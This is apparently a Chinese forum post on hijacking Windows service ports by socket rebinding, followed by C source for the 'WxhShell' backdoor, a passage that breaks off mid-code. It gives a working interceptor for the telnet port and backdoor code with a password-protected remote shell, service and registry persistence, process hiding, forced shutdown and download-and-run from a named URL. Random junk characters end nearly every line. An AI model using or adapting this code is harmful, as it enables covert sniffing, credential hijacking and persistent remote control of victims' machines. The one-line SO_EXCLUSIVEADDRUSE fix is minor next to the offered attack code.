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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f/sz/KC]~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <#:iltO  
:$G^TD/n  
  saddr.sin_family = AF_INET; :rr<#F  
zu}uW,XH-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vx!ZF+  
< dE7+w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  c k;:84  
1O Ft}>1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~aotV1"D  
#X)DFAtb  
  这意味着什么?意味着可以进行如下的攻击: RhJ3>DL  
&3iI\s[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \*MZ 1Q*x  
L"YQji!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <W!T+sMQj  
\l=A2i7TQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vVBWhY]  
O.dZ3!!+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gX!K%qJBg  
bmHj)^v 5]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A5R"|<UPR  
`m'RvUc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mCnl@  
qg j;E=7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z%?>H iy'o  
GNW$:=0u  
  #include :30daKo  
  #include w8+ phN(-M  
  #include i`i`Hu>  
  #include    ` &=%p|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D Z~036  
  int main() 9vi+[3s/=;  
  { _&HFKpHQ  
  WORD wVersionRequested; HxR5&o  
  DWORD ret; F~v0CBcAL  
  WSADATA wsaData; F4=X(P_6  
  BOOL val; p_xJ KQS  
  SOCKADDR_IN saddr; %5L~&W}^"  
  SOCKADDR_IN scaddr; qi@Nz=t#HJ  
  int err; ]#N8e?b,  
  SOCKET s; LI-ewea  
  SOCKET sc; WDnNVE  
  int caddsize; k Jz^\Re  
  HANDLE mt; k7JC~D E#  
  DWORD tid;   "S@]yL  
  wVersionRequested = MAKEWORD( 2, 2 ); \V~B+e  
  err = WSAStartup( wVersionRequested, &wsaData ); XFFm 'W6@  
  if ( err != 0 ) { +v%+E{F$+  
  printf("error!WSAStartup failed!\n"); y@}WxSK*0  
  return -1; 9|jMN j]vo  
  } yodhDSO5i  
  saddr.sin_family = AF_INET; UChLWf|'  
   ]@_|A, ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hAgrs[OFj  
Z{u]qI{l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `m V(:  
  saddr.sin_port = htons(23); rxx VLW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Eb,M+c?  
  { oVl:g:K40  
  printf("error!socket failed!\n"); ?RE"<L  
  return -1; )3F}IgD  
  } =m|<~t  
  val = TRUE; 2n"-~'3\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M3eSj`c3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BD$Lf,_  
  { J^WX^".E  
  printf("error!setsockopt failed!\n"); a{e1g93}  
  return -1; ZkibfVwe  
  } p>U= Jg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >xRUw5jN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G~zfPBN0D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _+}o/449  
C\[:{d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #.FhN x  
  { r" |do2s  
  ret=GetLastError(); lE+Duap:  
  printf("error!bind failed!\n"); ]'<}kJtN.  
  return -1; iqF|IVPoi  
  } $U&p&pgH=W  
  listen(s,2); >z3l@  
  while(1) x[&)\[t  
  { MTR+|I3V  
  caddsize = sizeof(scaddr); 4Qi-zNNB  
  //接受连接请求 ,\T`gh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZRGe$HaU  
  if(sc!=INVALID_SOCKET) jJ RaY3  
  { &i805,lx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?J|  
  if(mt==NULL) _Kli~$c& M  
  { p=[I;U-#H  
  printf("Thread Creat Failed!\n"); Eb'M< ZY  
  break; t@2MEo  
  } 5HB*  
  } 5rtE/ {A  
  CloseHandle(mt); PTQN.[bBh  
  } =OrVaZ0  
  closesocket(s); |]HA@7B  
  WSACleanup(); +Lr`-</VF  
  return 0; Eg4&D4TG p  
  }   Q*f0YjH!  
  DWORD WINAPI ClientThread(LPVOID lpParam) Rto/-I0l  
  { xgsEe3|  
  SOCKET ss = (SOCKET)lpParam; ZlMS=<hgFx  
  SOCKET sc; 6m:$RW  
  unsigned char buf[4096]; p`"Ic2xPJ  
  SOCKADDR_IN saddr; uowdzJ7  
  long num; x=W5e ^0?  
  DWORD val; 1Si$Q  
  DWORD ret; -LFk7a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aMK\&yZD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z2A,*|I  
  saddr.sin_family = AF_INET; 9+Wf*:*EW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X=jD^"-  
  saddr.sin_port = htons(23); fG@]G9Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ] P_yN:~  
  { zq$0 ?vGd  
  printf("error!socket failed!\n"); h5n@SE>G  
  return -1; 8NWuhRRrw  
  } I,/E.cRV<  
  val = 100; y :QnK0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i"^ y y+  
  { 7$Cv=8  
  ret = GetLastError(); R_80J=%0  
  return -1; s?9`dv} P  
  } /.UISArH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S2 -J1 x2N  
  { (V}?y:)  
  ret = GetLastError(); JGYJ;j{E]  
  return -1; gP ^A  
  } I!Fd~g9I4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gfep m$*%  
  { "`KT7  
  printf("error!socket connect failed!\n"); VTO92Eo  
  closesocket(sc); nwi8>MG  
  closesocket(ss); 0,cU^HMA  
  return -1; B}I9+/|{  
  } d(vt0  
  while(1) ,W$&OD  
  { /i"1e:cK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OP``+z>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pp;OkI``[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MdnapxuS  
  num = recv(ss,buf,4096,0); cVaGgP}\  
  if(num>0) 0c&DSL}6  
  send(sc,buf,num,0); ,y)V5 c1  
  else if(num==0) T|--ZRYn  
  break; i@=(Y~tD`  
  num = recv(sc,buf,4096,0); AI$\wp#aw  
  if(num>0) `{ \)Wuw  
  send(ss,buf,num,0); &<(&u`S  
  else if(num==0) 'qoaMJxN`  
  break; <I{Yyl^  
  } Rf!$n7& \  
  closesocket(ss); mW3 IR3 b  
  closesocket(sc); Rz<'& Z>;  
  return 0 ; "!#KQ''R  
  } H96|{q=  
Jb|dpu/e  
Q*9Y.W.8  
========================================================== ?{1& J9H  
$L72%T  
下边附上一个代码,,WXhSHELL F>k/;@d  
LP>GM=S#"  
========================================================== 4@jX{{^6%  
lgefTT GX)  
#include "stdafx.h" <,t6A?YoMP  
o}L\b,])  
#include <stdio.h> Vo(bro4ZQi  
#include <string.h> {afIr1j/m  
#include <windows.h> %/r:iD  
#include <winsock2.h> wYd{X 8$  
#include <winsvc.h> Nfd'|#  
#include <urlmon.h> nYTPcT4x|  
3g3Znb  
#pragma comment (lib, "Ws2_32.lib") I9sQPa  
#pragma comment (lib, "urlmon.lib") .bNG:y>  
we33GMxHl`  
#define MAX_USER   100 // 最大客户端连接数 u"U7aYGkY  
#define BUF_SOCK   200 // sock buffer wd2z=^S~  
#define KEY_BUFF   255 // 输入 buffer B*}:YV  
u y13SkW  
#define REBOOT     0   // 重启 U ?6.UtNf  
#define SHUTDOWN   1   // 关机 'On%p|s)H  
/kqa|=-`q  
#define DEF_PORT   5000 // 监听端口 xH>j  
b%xG^jUXsX  
#define REG_LEN     16   // 注册表键长度 }u;`k'J@  
#define SVC_LEN     80   // NT服务名长度 &Y 2Dft_K  
cJ'OqV F  
// 从dll定义API )D7/[zb^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( $,qxPOn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N@I=X-7nh|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TV?MB(mN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5M#L O@U  
n}8}:3"  
// wxhshell配置信息 |0VZ1{=*  
struct WSCFG { +-Z `v  
  int ws_port;         // 监听端口 Bh65qHQO  
  char ws_passstr[REG_LEN]; // 口令 ,HK-mAH   
  int ws_autoins;       // 安装标记, 1=yes 0=no ]}9[ys  
  char ws_regname[REG_LEN]; // 注册表键名 G^le91$  
  char ws_svcname[REG_LEN]; // 服务名 G54`{V4&s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^(Wu$\SA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AK&=/[U>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6P0 2=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PeJIa %iE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cr YPcvd6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?DKY;:dZF  
 ^]?ju L  
}; R|]n;*y  
z6 .^a-sU5  
// default Wxhshell configuration m-<m[49  
struct WSCFG wscfg={DEF_PORT, r"`7ezun:  
    "xuhuanlingzhe", CEBa,hp@  
    1, g Cx#&aXS  
    "Wxhshell", 2u(G:cR  
    "Wxhshell", sE[ Yg8yAt  
            "WxhShell Service", h*\u0yD)  
    "Wrsky Windows CmdShell Service", bv}e[yH  
    "Please Input Your Password: ", L fZF  
  1, ;]W@W1)$  
  "http://www.wrsky.com/wxhshell.exe", ]&X}C{v)G  
  "Wxhshell.exe" mTLJajE/  
    }; ]$I}r= Em  
A5Lzd  
// 消息定义模块 \%&eDE0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8"o@$;C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JgBC:t^\pV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rbrh;\<jM  
char *msg_ws_ext="\n\rExit."; ?$VkMu$2k  
char *msg_ws_end="\n\rQuit."; cVDcda|PE  
char *msg_ws_boot="\n\rReboot..."; bP&1tE  
char *msg_ws_poff="\n\rShutdown..."; N t\ZM  
char *msg_ws_down="\n\rSave to ";  upGLZ#  
_IWLC{%V  
char *msg_ws_err="\n\rErr!"; QSOG(}w  
char *msg_ws_ok="\n\rOK!"; JB'XH~4H  
@I#uv|=N  
char ExeFile[MAX_PATH]; }d%Fl}.Ez  
int nUser = 0; 9^@)R ED  
HANDLE handles[MAX_USER]; bbT$$b-  
int OsIsNt; o_03Io ~Bf  
\susLD  
SERVICE_STATUS       serviceStatus; i ;^Ya  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pk;YM}  
S1U[{R?,  
// 函数声明 i:1 @ vo  
int Install(void); zpZfsn!  
int Uninstall(void); PJ^qE| X  
int DownloadFile(char *sURL, SOCKET wsh); J|`.d46  
int Boot(int flag); IRTD(7"oyp  
void HideProc(void); wZWAx  
int GetOsVer(void); pj7v{H+  
int Wxhshell(SOCKET wsl); 1:J+`mzpl  
void TalkWithClient(void *cs); z7TyS.z  
int CmdShell(SOCKET sock); 6w[EJ;=p_  
int StartFromService(void); )W&{OMr  
int StartWxhshell(LPSTR lpCmdLine); W:K '2j  
PlCj<b1D:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BAtjYPX'w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jwP5pu  
LL==2KNUo  
// 数据结构和表定义 w/*m_O\!  
SERVICE_TABLE_ENTRY DispatchTable[] = fElFyOo+  
{ nkf7Fq}  
{wscfg.ws_svcname, NTServiceMain}, 7mE9Zo1  
{NULL, NULL} ?hViOh$.  
}; lSc=c-iOv  
L @Q+HN  
// 自我安装 8[D"  
int Install(void) qw{`?1[+  
{ "F[7b!>R  
  char svExeFile[MAX_PATH]; _<=h#lH  
  HKEY key; lnRL^ }  
  strcpy(svExeFile,ExeFile); 73Hm:"Eqd  
Fu 5c_"!  
// 如果是win9x系统,修改注册表设为自启动 ,e$6%R  
if(!OsIsNt) { l>KkAA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lc3Gu78 A/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M=3gV?N  
  RegCloseKey(key); %r8;i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g/VV2^,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <y?=;54a  
  RegCloseKey(key); d</F6aM\  
  return 0; nv\K!wZI=b  
    } dT[JVl+3=  
  } pTXF^:8  
} A0:rn\$l3  
else { uqLP$At  
dCe LW  
// 如果是NT以上系统,安装为系统服务 );kD0FO1|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qG ? :Q  
if (schSCManager!=0) n>w<vM  
{ ]Y!x7  
  SC_HANDLE schService = CreateService V:vqt@  
  ( !F.h+&^D;  
  schSCManager, zTc*1(^  
  wscfg.ws_svcname, Qj*.Z4ue  
  wscfg.ws_svcdisp, Q<gUu^rq  
  SERVICE_ALL_ACCESS, `.J17mQe"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5~j#Z (}u  
  SERVICE_AUTO_START, A\#z<h[>  
  SERVICE_ERROR_NORMAL, 1GK>&;  
  svExeFile, YV!hlYOBi  
  NULL, 2;0eW&e   
  NULL, /(.:l +[w[  
  NULL, : ]+6l  
  NULL, C511 hbF  
  NULL aYDo0?kF'  
  ); O1bW, n(  
  if (schService!=0) v; R2,`[W  
  { xiDgQTDz  
  CloseServiceHandle(schService); AV7#,+p%G  
  CloseServiceHandle(schSCManager); cqSXX++CS,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _{-[1-lN5_  
  strcat(svExeFile,wscfg.ws_svcname); }>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }}i'8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {M5t)-  
  RegCloseKey(key);  *} ?  
  return 0; n,2   
    } _TGs .t  
  } *3r s+0  
  CloseServiceHandle(schSCManager); igW* {)h3  
} -%@ah:iJ  
} >7zC-3  
lo(C3o'  
return 1; tW/g0lC%  
} 8|)^m[c&  
g,rmGu3v  
// 自我卸载 _DH^ K 9,9  
int Uninstall(void) y.c6r> }  
{ n:P:im?,y*  
  HKEY key; _OyQ:>M6P  
-Ep#q&\  
if(!OsIsNt) { %,~?;JAj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 28`s+sH  
  RegDeleteValue(key,wscfg.ws_regname); `$ S&:Q,  
  RegCloseKey(key); &Jc atI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -5 D<zP/  
  RegDeleteValue(key,wscfg.ws_regname); o~)o/(>ox  
  RegCloseKey(key); "ayV8{m^3  
  return 0; %9a3$OGZX  
  } mfN'+`r  
} 5af0- hj  
} pCA`OP);=  
else { IEMa/[n/  
. ump? M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?5J#  
if (schSCManager!=0)  dC{dw^  
{ | @$I<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L*tfY onq  
  if (schService!=0) w2'q9pB+  
  { bXOKC  
  if(DeleteService(schService)!=0) { )Wr_*>xj  
  CloseServiceHandle(schService); (u} /( Ux  
  CloseServiceHandle(schSCManager); ]i@73h YT  
  return 0; & UOxS W  
  } .8u@/f%pV  
  CloseServiceHandle(schService); #Uu,yHMv:;  
  }  2Y23!hw  
  CloseServiceHandle(schSCManager); |w}j!}u  
} 5dI=;L >D  
} @,TIw[p  
[Hx(a.,d  
return 1; 2&>t,;v@  
} :sJ7Wok6~  
}!oEjcX'  
// 从指定url下载文件 .i I{  
int DownloadFile(char *sURL, SOCKET wsh) T+ZA"i+  
{ $3G^}A"  
  HRESULT hr; O573AA  
char seps[]= "/";  3Iv^  
char *token; KF_fz   
char *file; n@RmH>"  
char myURL[MAX_PATH]; /*T^7Y&  
char myFILE[MAX_PATH]; suwR`2  
"!V`_ S;  
strcpy(myURL,sURL); ]s AuL!  
  token=strtok(myURL,seps); c 'wRGMP  
  while(token!=NULL) G?'^"ae"Z  
  { gVfFEF.  
    file=token; ,3Q~X$f  
  token=strtok(NULL,seps); w;`Jj -  
  } 6dR+qJa6i  
>5Yn`Fc5  
GetCurrentDirectory(MAX_PATH,myFILE); $t):r@L  
strcat(myFILE, "\\"); Y~g{9 <!  
strcat(myFILE, file); B[GC@]HE  
  send(wsh,myFILE,strlen(myFILE),0); p%>sc  
send(wsh,"...",3,0); =J IceLL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z7bJV/f  
  if(hr==S_OK) `}l%61n0  
return 0; ;+E]F8G9r  
else '7sf)0\:<p  
return 1; PJC(:R(j  
mG&A_/e!9  
} W3tin3__  
N7_eLhPt*8  
// 系统电源模块 1fS&KO{a  
int Boot(int flag) >] 'oN  
{ {x_.QWe5  
  HANDLE hToken; ly17FLJ].  
  TOKEN_PRIVILEGES tkp; k8+J7(_c  
hhy+bA}  
  if(OsIsNt) { )bOfs*S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z/ 1$G"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); at_*Zh(  
    tkp.PrivilegeCount = 1; MONX&$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :@[\(:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EVX3uC}{  
if(flag==REBOOT) { ju{Y6XJ)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B-rE8 \  
  return 0; b?i+nh qI  
} CvY+b^;  
else { g %f5hy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *#XZ*Ga  
  return 0; '6dVe 2V  
} "CJ~BJI%  
  } _Hv+2E[4Z  
  else { PR.3EL  
if(flag==REBOOT) { ,*XB11P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v.-DXQq  
  return 0; >>P5 4|&  
} <u!cdYo@  
else { Ds">eNq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .C% 28fH  
  return 0; )y,^M3$?C  
} 5)!g.8-!  
} :snO*Zg  
W7qh1}_%  
return 1; 90<g=B  
} {-\U)&6#v  
MNd\)nX  
// win9x进程隐藏模块 ."$t&[;s  
void HideProc(void) - eG~  
{ %lHHTZ{+  
G tI )O}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F}nwTras  
  if ( hKernel != NULL ) JI5o~; }m  
  { t@qf/1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9=>fx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eO!9;dJ  
    FreeLibrary(hKernel); 1#A$&'&\J;  
  } k8w\d+!v  
8z#Qp(he  
return; F^u12R)  
} >NKJ@4Y  
x s{pGQ6Q  
// 获取操作系统版本 f jx`|MJ  
int GetOsVer(void) nqyD>>  
{ _? gCOr  
  OSVERSIONINFO winfo; R/hI XO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~lw9sm*2v2  
  GetVersionEx(&winfo); *S.U8;*Xj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5?7AzJl>  
  return 1; @j/2 $  
  else &?@C^0&QV  
  return 0; Y %"Ji[  
} j7~FR{: j  
*jlIV$r_  
// 客户端句柄模块 UHZuH?|@  
int Wxhshell(SOCKET wsl) {~U3|_"[pX  
{ yH/A9L,Z  
  SOCKET wsh; .e~"+Pe6b  
  struct sockaddr_in client; }UhYwJf89  
  DWORD myID; $v0,)ALi  
vF27+/2+R  
  while(nUser<MAX_USER) XnyN*}8  
{ QKG3>lU  
  int nSize=sizeof(client); 3Qy@^"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q)k:pQ   
  if(wsh==INVALID_SOCKET) return 1; KNVu[P)rv  
%_OjmXOfe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^#Ii=K-[^  
if(handles[nUser]==0) <u64)8'  
  closesocket(wsh); T }#iXgyx  
else Hb)FeGsd).  
  nUser++; w' 7sh5  
  } c7e,lgG-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {X!OK3e  
rW{!8FhI  
  return 0; C~ 1]  
} 1R2IlUlzFr  
EgjJywNhd2  
// 关闭 socket WMB%?30  
void CloseIt(SOCKET wsh) 2*: q$c  
{ aGD< #]  
closesocket(wsh); 5;a*Xf%V  
nUser--; --5F*a{R|  
ExitThread(0); "_{NdV|a  
} /I%z7f91O  
n4K!Wv&u  
// 客户端请求句柄 \Vyys[MMY8  
void TalkWithClient(void *cs) l(t&<O(m9  
{ ~t6q-P  
$^]K611w9  
  SOCKET wsh=(SOCKET)cs; I1Q!3P  
  char pwd[SVC_LEN]; GcBqe=/B!  
  char cmd[KEY_BUFF]; Yuv i{ 0  
char chr[1]; ]5ZXgz  
int i,j; ,d#*i  
6r)P&J  
  while (nUser < MAX_USER) { ![_x/F9  
'cD?0ou`o  
if(wscfg.ws_passstr) { idI w7hi4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kaBjA*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S_ATsG*(  
  //ZeroMemory(pwd,KEY_BUFF); 4 PK}lc  
      i=0; Tgdy;?  
  while(i<SVC_LEN) { d][ Wm  
G@8)3 @  
  // 设置超时 H [=\_X1o(  
  fd_set FdRead; (80m'.X  
  struct timeval TimeOut; s0SzO,Vi  
  FD_ZERO(&FdRead); /"{d2  
  FD_SET(wsh,&FdRead); rAenx Z,tF  
  TimeOut.tv_sec=8; mWp>E`l  
  TimeOut.tv_usec=0; zggnDkC5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  .U1wVIM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P'W} ]mCD  
Ln+l'&_nb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wI.aV>  
  pwd=chr[0]; eADCT  
  if(chr[0]==0xd || chr[0]==0xa) { Ca2r<|uA  
  pwd=0; LP vp (1  
  break; UC!mp?   
  } tB_le>rhl  
  i++; Sc<dxY@w7-  
    } }icCp)b>v  
yM_/_V|G  
  // 如果是非法用户,关闭 socket A}9Z%U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <kn 2  
} 3c<aI =$^  
78& |^sq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y ;Ym=n'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xaq;d'  
\]X.f&u  
while(1) { l]*RiK2AC  
R/hf"E1  
  ZeroMemory(cmd,KEY_BUFF); r4yz{^G  
 E]V, @  
      // 自动支持客户端 telnet标准   (,|,j(=]  
  j=0; eaw!5]huu  
  while(j<KEY_BUFF) { ^m\o(R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kd\0nf6  
  cmd[j]=chr[0]; 1/DtF  
  if(chr[0]==0xa || chr[0]==0xd) { j\y;~ V  
  cmd[j]=0; Ymut]`dX  
  break; @C;1e7  
  } !cW rB9  
  j++; vrs  
    } v:O{"s  
@r"\bBi  
  // 下载文件 mqSVd^  
  if(strstr(cmd,"http://")) { }lZEdF9GhG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %|-N{>wKy  
  if(DownloadFile(cmd,wsh)) |XyX%5p*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QPlU+5Cx  
  else i<QDV W9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "[) G{VzT  
  } W}(A8g#6  
  else { jPh<VVQ$@  
i ;FKnK  
    switch(cmd[0]) { THrLX;I  
  _"8n&=+  
  // 帮助 'E| %l!xO  
  case '?': { E|O&bUMh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :5YIoC  
    break; ]N>ZOV,>  
  } #:)'D?,  
  // 安装 )V1XL   
  case 'i': { t@%w:*&  
    if(Install()) g6M>S1oOO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/7q#~J,  
    else )_#V>cvNG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_#$k{  
    break; 4I4m4^  
    } 6N/(cUXJ  
  // 卸载 M.}9)ho   
  case 'r': { =G-OIu+H!U  
    if(Uninstall()) .:S/x{~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fc#9e9R  
    else {lI}a8DP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x9lA';})  
    break; +){^HC\7h  
    } l+ }=D@l  
  // 显示 wxhshell 所在路径 4n,&,R r#  
  case 'p': { K?.~}82c  
    char svExeFile[MAX_PATH]; &PMQ]B  
    strcpy(svExeFile,"\n\r"); [gW eD  
      strcat(svExeFile,ExeFile); kWzp*<lWe  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ 'ZwD/!e  
    break; iI GK "}  
    } *|rdR2R!  
  // 重启 .UK0bxoa  
  case 'b': { O&Y;/$w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WK%cbFq(  
    if(Boot(REBOOT)) XYcZ;Z9:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9?\Jbqg  
    else { +M j 6.X  
    closesocket(wsh); v({O*OR  
    ExitThread(0); @-@Coy 4Tt  
    } t3L>@NWG  
    break; {vu\qXmMv  
    } oO2DPcK  
  // 关机 -H?c4? 5  
  case 'd': { ;&d#)&O"e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 91R# /i  
